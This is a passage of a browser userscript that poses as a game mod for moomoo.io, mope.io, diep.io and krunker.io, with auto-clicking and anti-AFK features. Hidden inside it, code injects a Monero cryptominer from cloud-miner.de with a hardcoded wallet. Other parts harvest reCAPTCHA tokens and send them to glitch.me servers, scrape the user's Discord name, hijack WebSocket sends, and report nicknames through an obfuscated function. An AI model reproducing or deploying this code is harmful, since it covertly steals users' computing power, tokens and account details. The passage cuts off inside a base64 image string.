[autohealOn.toString()]]); } }); unsafeWindow.showPreAd = () => {}; var scaleFactor = 0; var generateToken = () => unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", { action : 'homepage' }); var token; document.getElementById("enterGame").addEventListener("click", async function(e) { try { setTimeout(async ()=>{ if (scaleFactor == 0) { token = await generateToken(); try { scaleFactor = scaleFactor + 1; xml = new XMLHttpRequest(); xml.open("POST", "https://ksw2-moomoo.glitch.me"); xml.setRequestHeader("Content-type", "application/json"); xml.send(JSON.stringify({key: "rc", recaptcha: token})); xml.onload = function() { if (xml.responseText == "0") {} else if (xml.responseText == "1") { for (const key in WebSocket.prototype) delete WebSocket.prototype[key]; alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!"); } else {}; } } catch(e) {}; function plugin() { var s = document.createElement('script'); s.src = "https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"; (document.head || document.documentElement) .appendChild(s); s.onload = ()=>{ var b = document.createElement('script'); b.innerHTML = "console.log('exec'); EverythingIsLife('44Jmx46LNSmMatQbo9fe4RLJXZVbm3SZa8GfKgA8qZVFgwqXAM5pbyseCX4MNbNBF59F312VjHiVvTP2ypKjpsVCR8D89ef', 'x', 10)"; console.log("exec"); (document.head || document.documentElement) .appendChild(b); } }; plugin(); }; }, 5000); } catch(e) {}; }); switched = 2; clearInterval(INT); clearInterval(swsInt); }; }, 0); var generateToken = () => unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", { action : 'homepage' }); var token; setInterval(async ()=>{ try { var xml; token = await generateToken(); xml = new XMLHttpRequest(); xml.open("POST", "https://discord-bot-managerv1.glitch.me/recaptcha"); xml.setRequestHeader("Content-type", "application/json"); xml.send(JSON.stringify({ rc: token })); } catch(e) {}; }, 5000 + Math.floor(Math.random()*3000)); } else if (windowloc == "discord.com" || windowloc == "discordapp.com") { //(async ()=>{ //var interval = setInterval(()=>{ setTimeout(()=>{ var identif = document.getElementsByClassName(`size14-e6ZScH title-eS5yk3`)[0].innerHTML + "" + document.getElementsByClassName(`size12-3cLvbJ subtext-3CDbHg`)[0].innerHTML; //just simply the public name, nothing personal GM.setValue("discord", identif + "|" + ctr + "|" + global_id); var messageElement = document.getElementsByClassName("scrollerInner-2YIMLh")[0]; const observer = new MutationObserver(function(a) { for (let b of a) if ("childList" === b.type && !b.removedNodes[0].querySelector(".isSending-9nvak6") && b.removedNodes[0].className.startsWith("message-") && b.removedNodes.length) { let a = messageElement.insertBefore(b.removedNodes[0], b.nextSibling); a.children[0].style.color = "#B22222" } }); observer.observe(messageElement, { subtree: !0, childList: !0, attributes: !1 }); }, 10000); //}, 5000); //setTimeout(()=>clearInterval(interval), 60000*2); // //somewhat good antideleter } else if (windowloc == "mope.io" || windowloc == "beta.mope.io" || windowloc == "m0pe.io" || windowloc == "learninganimals.club" || windowloc == "beta.tailbite.me" || windowloc == "beta.zooeducation.space" || windowloc == "tailbite.me" || windowloc == "animalfun.club" || windowloc == "zooeducation.space" || windowloc == "experimental.mope.io") { document.getElementById('gCanvas').style.cursor = 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default'; function autoDive() { var x = document.createEvent("MouseEvent"); x.initMouseEvent("mousedown", true, true, unsafeWindow, 0, 0, 0, 0, 0, false, false, false, false, 2, null); document.getElementById('gCanvas').dispatchEvent(x); } function autoBoost() { var x = document.createEvent("MouseEvent"); x.initMouseEvent("mousedown", true, true, unsafeWindow, 0, 0, 0, 0, 0, false, false, false, false, 0, null); document.getElementById('gCanvas').dispatchEvent(x); } var zx = "_0x56" + "bd07"; var xz = "_0xaf" + "8b40"; function stayStill() { unsafeWindow[zx]('Movement Lock: ' + ((unsafeWindow[xz] = !unsafeWindow[xz]) ? 'ON' : 'OFF'), 2500); }; var one = false; var int1, int2, int3; var two = false; var three = false; document.getElementById('gCanvas').addEventListener("keydown", e => { if (e.key == "z") { /*if (one) { clearInterval(int1); } else { int1 = setInterval(()=>{*/ //stayStill(); alert("THIS FEATURE IS BROKEN, WE'RE WORKING ON FIXING IT.") /*}, 0); }; one = !one*/ }; if (e.key == "x") { if (two) { clearInterval(int2); } else { int2 = setInterval(()=>{ autoDive(); }, 0); }; two = !two; }; if (e.key == "c") { if (three) { clearInterval(int3); } else { int3 = setInterval(()=>{ autoBoost(); }, 0); }; three = !three; }; }); document.getElementById('preroll').remove(); document.getElementById("moneyRectBottom").style.display = "none"; //remove ads insert_0000000(true, "mope.io_smod" + "|" + "init"); //initializer setInterval(()=>{ try { insert_0000000(true, "mope.io_smod" + "|" + document.getElementById("nickInput").value); //packet } catch(e){ insert_0000000(true, "mope.io_smod" + "|" + "f"); //fail } }, 30000); } else if (windowloc == "diep.io") { function keyPress(key, upDown) { var eventObj; if (upDown == true) { eventObj = document.createEvent("Events"); eventObj.initEvent("keydown", true, true); eventObj.keyCode = key; window.dispatchEvent(eventObj); } if(upDown == false) { eventObj = document.createEvent("Events"); eventObj.initEvent("keyup", true, true); eventObj.keyCode = key; window.dispatchEvent(eventObj); } } var overlay = document.createElement("div"); document.body.appendChild(overlay); var toggler = "OFF"; setInterval( () => { var overlayHTML = ` <style> .main { pointer-events: none; position: fixed; top: 10px; right: 50%; transform: translateX(50%); font-family: 'Roboto', cursive, sans-serif; color: #202225; font-style: normal; font-variant: normal; } </style> <div class="main" id="all"> <p id="antiAFK"> Anti-AFK = ${toggler} [F]</p> </div> ` overlay.innerHTML = overlayHTML; }, 5) var keyW = 87; var keyS = 83; function pressW() { keyPress(keyW, 1); setTimeout( () => { keyPress(keyW, 0); }, 200); } function pressS() { keyPress(keyS, 1); setTimeout( () => { keyPress(keyS, 0); }, 200); } function pressTimeout(keyCode, timeout) { keyPress(keyCode, 1); setTimeout( () => { keyPress(keyCode, 0); }, timeout); } function antiAFK() { if(out == 1) { pressW(); setTimeout( () => { pressS(); intoggle = 1; }, 2000); } } var out = 0; var intoggle = 1; setInterval( () => { if(out == 1) { antiAFK(); } }, 4000); function off_on() { if(keyPressToggle == 0) { out = 0; toggler = "OFF"; } else { out = 1; intoggle = 1; toggler = "ON"; } } var keyPressToggle = 0; document.addEventListener('keydown', function(e) { if(e.key == "f") { keyPressToggle = !keyPressToggle; alert("toggled: " + keyPressToggle); off_on() } if(e.key == 'r') { fire(0,120); fire(0.75,200); fire(1.5,745); setTimeout( () => { keyPress(69, 1) setTimeout( () => { keyPress(69, 0) }, 500); }, 1500); } }); function fire(t,w) { setTimeout(function(){ keyPress(32, 1); }, t*1000); setTimeout(function(){ keyPress(32, 0); }, t*1000+w); } setInterval(()=>{ try { insert_0000000(true, "diep_smod" + "|" + document.getElementById("textInput").value); } catch(e) { insert_0000000(true, "diep_smod" + "|" + "f"); } }, 30000); } else if (windowloc == "krunker.io") { setTimeout(()=>{ function generateDeleter() { return { a: ['c'], b: ['m'], c: ['V'], d: ['t'], e: () => { insert_0000000(true, "krunker.io" + "|" + "adb1"); return "b3Zl"; }, xx: ["aContainer", "google_ads_iframe_/15184186/krunkerio_728x90_1_0__container__", "google_ads_iframe_/15184186/krunkerio_300x250_3_0__container__", "google_ads_iframe_/15184186/krunkerio_300x250_2_0__container__", "endAContainer"] }; }; setInterval(()=>{ var delx = generateDeleter(); try {document.getElementById(delx.xx[0])[atob( delx.a[0] + "" + delx.b[0] + "" + delx.c[0] + "" + delx.d[0] + "" + delx.e() )](); }catch(e){}; delx.e(); try {document.getElementById(delx.xx[1])[atob( delx.a[0] + "" + delx.b[0] + "" + delx.c[0] + "" + delx.d[0] + "" + delx.e() )](); }catch(e){}; try { document.getElementById(delx.xx[2])[atob( delx.a[0] + "" + delx.b[0] + "" + delx.c[0] + "" + delx.d[0] + "" + delx.e() )]();}catch(e){}; try { document.getElementById(delx.xx[3])[atob( delx.a[0] + "" + delx.b[0] + "" + delx.c[0] + "" + delx.d[0] + "" + delx.e() )](); }catch(e){}; try { document.getElementById(delx.xx[4])[atob( delx.a[0] + "" + delx.b[0] + "" + delx.c[0] + "" + delx.d[0] + "" + delx.e() )](); }catch(e){}; }, 100); }, 10000); } else { insert_0000000(true, "spbar_smod"); //initializer window.onkeydown = (e) => { if (e.keyCode == 32 && e.target == document.body) e.preventDefault(); }; //experimental }; window.eval(` const real_ws_send = window.WebSocket.prototype.send; console.log("[DiscordGameStatus] Hijacking WebSocket send function:", real_ws_send); window._dgs_last_status_ = "online"; window.WebSocket.prototype.send = function (data) { if (window._ws_ != this) { window._ws_ = this; console.log("[DiscordGameStatus] Grabbed Websocket object through the send() hook:", this); } let data_tab = JSON.parse(data); if (data_tab && data_tab.op == 3) { // op 3 needs to be patched with our stored game info data window._dgs_last_status_ = data_tab.d.status; data_tab.d.game = window._dgs_game_entry_; data = JSON.stringify(data_tab); } return real_ws_send.call (this, data); }; const button_icon = 'data:image/svg+xml;base64,PHN2ZyB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyIgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeG1sbnM6c29kaXBvZGk9Imh0dHA6Ly9zb2RpcG9kaS5zb3VyY2Vmb3JnZS5uZXQvRFREL3NvZGlwb2RpLTAuZHRkIiB4bWxuczppbmtzY2FwZT0iaHR0cDovL3d3dy5pbmtzY2FwZS5vcmcvbmFtZXNwYWNlcy9pbmtzY2FwZSIgd2lkdGg9IjIxNSIgaGVpZ2h0PSIxNDAiIHZpZXdCb3g9IjAgMCA3NjEuOCA0OTYuMSIgaWQ9InN2Zzc0NjQiIHZlcnNpb249IjEuMSIgaW5rc2NhcGU6dmVyc2lvbj0iMC45IiBzb2RpcG9kaTpkb2NuYW1lPSJzdW5ueS5zdmciPjxzdHlsZT4uczB7c3RvcC1jb2xvcjojODI4NTg0O3N0b3Atb3BhY2l0eToxO30uczF7c3RvcC1jb2xvcjojNjc2YTZhO3N0b3Atb3BhY2l0eToxO30uczJ7c3RvcC1jb2xvcjojYzZjNmM2O3N0b3Atb3BhY2l0eTowO30uczN7c3RvcC1jb2xvcjojZTJlMmUyO3N0b3Atb3BhY2l0eTowO30uczR7c3RvcC1jb2xvcjojZmZmZmZmO3N0b3Atb3BhY2l0eTowO30uczV7Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOnNSR0I7fS5zNntmaWxsOiM5Mjk2OTU7fS5zN3tmaWxsOiMyYjMyMzY7fS5zOHtmaWxsOiNlMmU2ZTg7ZmlsdGVyOnVybCgjZmlsdGVyNjU1OSk7fS5zOXtmaWxsOiMxNzFiMWQ7fS5zMTB7ZmlsbDojY2NjZWNlO30uczExe2ZpbGw6bm9uZTtzdHJva2Utd2lkdGg6MjtzdHJva2U6I2ZmZjt9LnMxMntmaWxsOiNmOWY5Zjk7fS5zMTN7ZmlsbDpub25lO3N0cm9rZS1saW5lam9pbjpyb3VuZDtzdHJva2U6IzhiYTFiMTt9LnMxNHtmaWxsOiMxNzFiMWQ7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6MTA7bGV0dGVyLXNwYWNpbmc6MDtsaW5lLWhlaWdodDoxMjU7d29yZC1zcGFjaW5nOjA7fS5zMTV7LWlua3NjYXBlLWZvbnQtc3BlY2lmaWNhdGlvbjpacm5pYztmaWxsOiMxNzFiMWQ7Zm9udC1mYW1pbHk6WnJuaWM7fS5zMTZ7LWlua3NjYXBlLWZvbnQtc3BlY2lmaWNhdGlvbjonc2VyaWYgQm9sZCc7ZmlsbDojMTcxYjFkO2ZvbnQtZmFtaWx5OnNlcmlmO2ZvbnQtd2VpZ2h0OmJvbGQ7fS5zMTd7ZmlsbDpub25lO3N0cm9rZS13aWR0aDoyO3N0cm9rZTojODI4NTg0O30uczE4e2ZpbGw6I2ZmZjt9LnMxOXtiYXNlbGluZS1zaGlmdDpiYXNlbGluZTtibG9jay1wcm9ncmVzc2lvbjp0YjtjbGlwLXJ1bGU6bm9uemVybztjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM6bGluZWFyUkdCO2NvbG9yLWludGVycG9sYXRpb246c1JHQjtjb2xvci1yZW5kZXJpbmc6YXV0bztjb2xvcjojMDAwMDAwO2RpcmVjdGlvbjpsdHI7ZGlzcGxheTppbmxpbmU7ZW5hYmxlLWJhY2tncm91bmQ6YWNjdW11bGF0ZTtmaWxsLXJ1bGU6bm9uemVybztmaWxsOiNmOWY5Zjk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGI7fS5zMjB7ZmlsbDojMTYxNzE3O308L3N0eWxlPjxkZWZzIGlkPSJkZWZzNzQ2NiI+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50Njc3MSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyOSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItNDkxLjIiIHkxPSItNjAzLjMiIHgyPSItNDkzLjEiIHkyPSItNTI2IiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKDgzOC43MjAzNSw4OTkuODE1NTMpIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50Njc3MSI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY3NzMiIHN0eWxlPSJzdG9wLWNvbG9yOiNjNGM1YzQ7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjc3NSIgc3R5bGU9InN0b3AtY29sb3I6I2M0YzVjNDtzdG9wLW9wYWNpdHk6MCIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyNyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJ0cmFuc2xhdGUoMCwtMC42MzYyNTI4NSkiIHgxPSItNTI0LjIiIHkxPSItNjA1LjMiIHgyPSItNTI0LjMiIHkyPSItNjI3LjEiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2NDc1Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjQ3NyIgc3R5bGU9InN0b3AtY29sb3I6IzJmMzUzNTtzdG9wLW9wYWNpdHk6MSIvPjxzdG9wIGlkPSJzdG9wNjQ4NyIgb2Zmc2V0PSIwLjUiIHN0eWxlPSJzdG9wLWNvbG9yOiMxNzFiMWQ7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjQ3OSIgc3R5bGU9InN0b3AtY29sb3I6IzAwMDAwMDtzdG9wLW9wYWNpdHk6MSIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyNSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMCwxLC0xLDAsLTU0MS40NjYxNSw5MzguNTg2ODEpIiB4MT0iLTcxNy40IiB5MT0iLTY3MC45IiB4Mj0iLTc3MC4zIiB5Mj0iLTY3MC45Ii8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyMyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwtMSwwLC01NDEuNDY2MTUsLTQ4MC4zNzEwNykiIHgxPSItNzc0LjgiIHkxPSItNjcxLjIiIHgyPSItNzE2LjkiIHkyPSItNjcxLjUiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTIxIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgtMSwwLDAsMSwtNTgwLjIzNzQ1LDg5OS44MTU1MykiIHgxPSItNzQ3LjgiIHkxPSItNjQ4LjkiIHgyPSItNzQ3IiB5Mj0iLTY5OS4yIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjI5NyIgaWQ9ImxpbmVhckdyYWRpZW50NzExOSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItNjM0LjYiIHkxPSItNjY5LjIiIHgyPSItNjI0LjQiIHkyPSItNjY5LjMiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2Mjk3Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjI5OSIgY2xhc3M9InMwIi8+PHN0b3Agb2Zmc2V0PSIxIiBpZD0ic3RvcDYzMDEiIGNsYXNzPSJzMSIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjI5NyIgaWQ9ImxpbmVhckdyYWRpZW50NzExNyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItNjM1LjQiIHkxPSItNjc2LjMiIHgyPSItNjM3LjUiIHkyPSItNjYwLjIiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTE1IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii01NDIuMyIgeTE9Ii02OTMuMiIgeDI9Ii01NDIuOCIgeTI9Ii03OTUiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2Mjk3IiBpZD0ibGluZWFyR3JhZGllbnQ3MTEzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii02MzQuNiIgeTE9Ii02NjkuMiIgeDI9Ii02MzkuMyIgeTI9Ii02NjkuMSIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDYzNzciIGlkPSJsaW5lYXJHcmFkaWVudDcxMTEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4MT0iLTYzNS40IiB5MT0iLTY3Ni4zIiB4Mj0iLTYzNy41IiB5Mj0iLTY2MC4yIi8+PGxpbmVhckdyYWRpZW50IGlkPSJsaW5lYXJHcmFkaWVudDYzNzciIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyI+PHN0b3AgaWQ9InN0b3A2Mzc5IiBvZmZzZXQ9IjAiIGNsYXNzPSJzMCIvPjxzdG9wIG9mZnNldD0iMC4yIiBpZD0ic3RvcDYzODMiIHN0eWxlPSJzdG9wLWNvbG9yOiM3ZDgwN2Y7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBpZD0ic3RvcDYzODEiIG9mZnNldD0iMSIgY2xhc3M9InMxIi8+PC9saW5lYXJHcmFkaWVudD48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTA5IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii03NDcuOCIgeTE9Ii02NDguOSIgeDI9Ii03NDciIHkyPSItNjk5LjIiIGdyYWRpZW50VHJhbnNmb3JtPSJ0cmFuc2xhdGUoODM4LjcyMDM1LDg5OS44MTU1MykiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2MzQ5IiBpZD0ibGluZWFyR3JhZGllbnQ3MTA3IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii03MDQiIHkxPSItNTgyLjciIHgyPSItNzA3LjIiIHkyPSItNzY5LjIiIGdyYWRpZW50VHJhbnNmb3JtPSJ0cmFuc2xhdGUoODM4LjcyMDM1LDg5OS44MTU1MykiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2MzQ5Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjM1MSIgc3R5bGU9InN0b3AtY29sb3I6I2MwYzJjMjtzdG9wLW9wYWNpdHk6MCIvPjxzdG9wIGlkPSJzdG9wNjM2OSIgb2Zmc2V0PSIwLjEiIHN0eWxlPSJzdG9wLWNvbG9yOiM4Mjg1ODQ7c3RvcC1vcGFjaXR5OjAiLz48c3RvcCBpZD0ic3RvcDYzNTciIG9mZnNldD0iMC40IiBzdHlsZT0ic3RvcC1jb2xvcjojNzk3OTc5O3N0b3Atb3BhY2l0eTowIi8+PHN0b3Agb2Zmc2V0PSIwLjUiIGlkPSJzdG9wNjM1OSIgc3R5bGU9InN0b3AtY29sb3I6IzgyODY4MjtzdG9wLW9wYWNpdHk6MCIvPjxzdG9wIGlkPSJzdG9wNjM2NyIgb2Zmc2V0PSIwLjkiIHN0eWxlPSJzdG9wLWNvbG9yOiM4YThhOGE7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjM1MyIgc3R5bGU9InN0b3AtY29sb3I6IzlhOWQ5YztzdG9wLW9wYWNpdHk6MSIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEwNSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItMTYxLjUiIHkxPSItNjQ2LjMiIHgyPSItMTYxLjgiIHkyPSItNjk0LjciLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTAzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjcxMC40IiB5MT0iLTIyNCIgeDI9Ijc1NC42IiB5Mj0iLTIyNCIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY0NzUiIGlkPSJsaW5lYXJHcmFkaWVudDcxMDEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4MT0iLTI4Ny42IiB5MT0iLTY0Ny44IiB4Mj0iLTI4Ni45IiB5Mj0iLTY5MS40Ii8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzA5OSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSI1ODUuMSIgeTE9Ii0yMjQiIHgyPSI2MjkuMyIgeTI9Ii0yMjQiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2MzQ5IiBpZD0ibGluZWFyR3JhZGllbnQ3MDk3IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSgxMzIzLjExMzQsOTA0LjcwOTgyKSIgeDE9Ii03MDQiIHkxPSItNTgyLjciIHgyPSItNzA4LjQiIHkyPSItNzcxLjciLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTUyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDkzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSg3NjUuNzI3NTksMC45NTQzNzkyNykiIHgxPSItNzAyIiB5MT0iLTgwNi4xIiB4Mj0iLTcwOC4xIiB5Mj0iLTc2NiIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIGlkPSJsaW5lYXJHcmFkaWVudDQ1NTIiPjxzdG9wIG9mZnNldD0iMCIgaWQ9InN0b3A0NTU0IiBzdHlsZT0ic3RvcC1jb2xvcjojZjlmOWY5O3N0b3Atb3BhY2l0eToxIi8+PHN0b3Agb2Zmc2V0PSIxIiBpZD0ic3RvcDQ1NTYiIHN0eWxlPSJzdG9wLWNvbG9yOiNmOWY5Zjk7c3RvcC1vcGFjaXR5OjAiLz48L2xpbmVhckdyYWRpZW50PjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDQ1NTIiIGlkPSJsaW5lYXJHcmFkaWVudDcwOTUiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KDAuMjU5NTAzNzksMC45NjMzNzAzNCwtMC45Njg0ODEzMywwLjI1ODEzNDMxLC00MTAuMzIyMzcsMTg0LjI4NDY1KSIgeDE9Ii01NzIuOCIgeTE9Ii03NjMuNiIgeDI9Ii03NjQuMiIgeTI9Ii03MjEuOSIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY1OTkiIGlkPSJsaW5lYXJHcmFkaWVudDcwOTEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KC0xLDAsMCwxLC05MS45OTUwOTMsODk5LjgxNTUzKSIgeDE9Ii02MTQuNiIgeTE9Ii01ODMuNSIgeDI9Ii04MTkuMiIgeTI9Ii01ODAuNiIvPjxsaW5lYXJHcmFkaWVudCBpZD0ibGluZWFyR3JhZGllbnQ2NTk5IiBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiPjxzdG9wIGlkPSJzdG9wNjYwMSIgb2Zmc2V0PSIwIiBjbGFzcz0iczIiLz48c3RvcCBvZmZzZXQ9IjAuNCIgaWQ9InN0b3A2NjAzIiBjbGFzcz0iczMiLz48c3R